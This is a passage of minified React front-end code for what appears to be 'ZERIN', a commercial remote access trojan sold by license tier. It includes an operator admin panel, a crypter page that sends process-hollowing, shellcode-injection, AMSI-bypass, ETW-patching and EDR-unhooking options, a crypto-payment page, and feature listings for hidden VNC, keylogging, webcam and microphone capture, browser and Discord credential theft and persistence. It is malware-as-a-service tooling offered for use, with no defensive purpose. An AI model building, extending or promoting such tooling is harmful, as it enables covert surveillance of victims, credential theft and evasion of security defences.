hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):s.jsx("button",{onClick:()=>O(P.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r hover:bg-red-500/10 transition-colors`,children:"Revoke"}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},P.key_id))})]})})]}):s.jsxs("div",{className:"space-y-4",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsx("button",{onClick:ie,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(P=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:P.username}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(QU,{role:P.role})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${P.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:P.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3",children:P.license_status?s.jsx(v2,{status:P.license_status}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:P.license_expires_at?cp(P.license_expires_at):"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:P.created_at}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{onClick:()=>{T(P),U("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),s.jsx("button",{onClick:()=>{F(P),V(P.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},P.id))})]})})]}),_&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>T(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:P=>P.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",s.jsx("span",{className:"text-zerin-accent",children:_.username})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),s.jsx("input",{type:"text",value:E,onChange:P=>U(P.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(P=>s.jsx("button",{onClick:()=>U(P),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${E===P?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:P},P))}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:de,disabled:K,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:K?"Extending...":"Add Time"}),s.jsx("button",{onClick:()=>T(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),I&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>F(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:P=>P.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",s.jsx("span",{className:"text-zerin-accent",children:I.username})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{onClick:()=>V("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${B==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{onClick:()=>V("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${B==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:G,disabled:$,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:$?"Updating...":"Update Tier"}),s.jsx("button",{onClick:()=>F(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function eV(){const{isAdmin:e}=Xa(),n=Uj()==="rat_crypter"||e,[r,i]=p.useState(null),[a,o]=p.useState("runpe"),[l,c]=p.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=p.useState(0),[f,m]=p.useState(!0),[h,x]=p.useState(!0),[g,y]=p.useState(!0),[v,b]=p.useState(!0),[w,j]=p.useState(!0),[k,S]=p.useState(!1),[N,z]=p.useState(0),[O,_]=p.useState(""),[T,E]=p.useState(!1),U=p.useRef(null),K=p.useCallback(I=>{I.preventDefault(),E(!1);const F=I.dataTransfer.files[0];F&&i(F)},[]),R=p.useCallback(async()=>{if(!(!r||k)){S(!0),_(""),z(5);try{const I=new FormData;I.append("file",r),I.append("mode",a),I.append("target_process",l),I.append("sleep_seconds",u.toString()),I.append("anti_sandbox",f.toString()),I.append("anti_debug",h.toString()),I.append("unhook_ntdll",g.toString()),I.append("amsi_bypass",v.toString()),I.append("etw_patch",w.toString()),z(20);const F=setInterval(()=>{z(q=>Math.min(q+5,85))},2e3),B=await TE(I);clearInterval(F),z(100);const V=URL.createObjectURL(B),$=document.createElement("a");$.href=V,$.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild($),$.click(),document.body.removeChild($),URL.revokeObjectURL(V),setTimeout(()=>z(0),2e3)}catch(I){_(I.message||"Build failed"),z(0)}finally{S(!1)}}},[r,k,a,l,u,f,h,g,v,w]);return n?s.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[s.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),s.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer ${T?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"} ${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:I=>{I.preventDefault(),E(!0)},onDragLeave:()=>E(!1),onDrop:K,onClick:()=>{var I;return(I=U.current)==null?void 0:I.click()},children:[s.jsx("input",{ref:U,type:"file",accept:".exe",className:"hidden",onChange:I=>{var B;const F=(B=I.target.files)==null?void 0:B[0];F&&i(F)}}),r?s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),s.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),s.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),s.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${a==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),s.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${a==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),a==="runpe"&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),s.jsx("input",{type:"text",value:l,onChange:I=>c(I.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),s.jsx("input",{type:"number",min:0,max:300,value:u,onChange:I=>d(Math.max(0,parseInt(I.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),s.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),s.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:m},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:I,label:F,desc:B,value:V,set:$})=>s.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${V?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:V,onChange:q=>$(q.target.checked),className:"mt-0.5 accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-sm font-mono text-zerin-text",children:F}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:B})]})]},I))})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("button",{onClick:R,disabled:!r||k,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||k?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:k?"Crypting...":"Crypt"}),(k||N>0)&&s.jsxs("div",{children:[s.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${N}%`}})}),s.jsxs("div",{className:"flex justify-between mt-1",children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:N<20?"Preparing...":N<50?"Encrypting payload...":N<85?"Compiling stub...":N<100?"Finalizing...":"Complete!"}),s.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[N,"%"]})]})]}),O&&s.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:O})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Random keys per build — no shared signatures"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):s.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:s.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"px-8 py-12 text-center",children:[s.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),s.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),s.jsx(it,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}async function tV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const nV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function rV(){const{id:e}=Mo(),[t,n]=p.useState(null),[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useCallback(async()=>{if(e)try{const f=await tV(e);n(f)}catch{i("Payment not found")}},[e]);p.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";p.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?nV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),s.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs(it,{to:"/",className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),s.jsx(it,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),s.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:s.jsx("div",{className:"w-full max-w-lg",children:r?s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),s.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),s.jsx(it,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),s.jsxs("div",{className:"flex items-center gap-2",children:[!c&&s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),s.jsxs("div",{className:"px-6 py-6 space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),s.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),s.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),s.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&s.jsxs("div",{children:[s.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),s.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&s.jsxs("div",{className:"space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),s.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:a?"Copied!":"Copy Key"}),s.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",s.jsx(it,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&s.jsxs("div",{className:"text-center space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),s.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),s.jsx(it,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),s.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const ji=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires 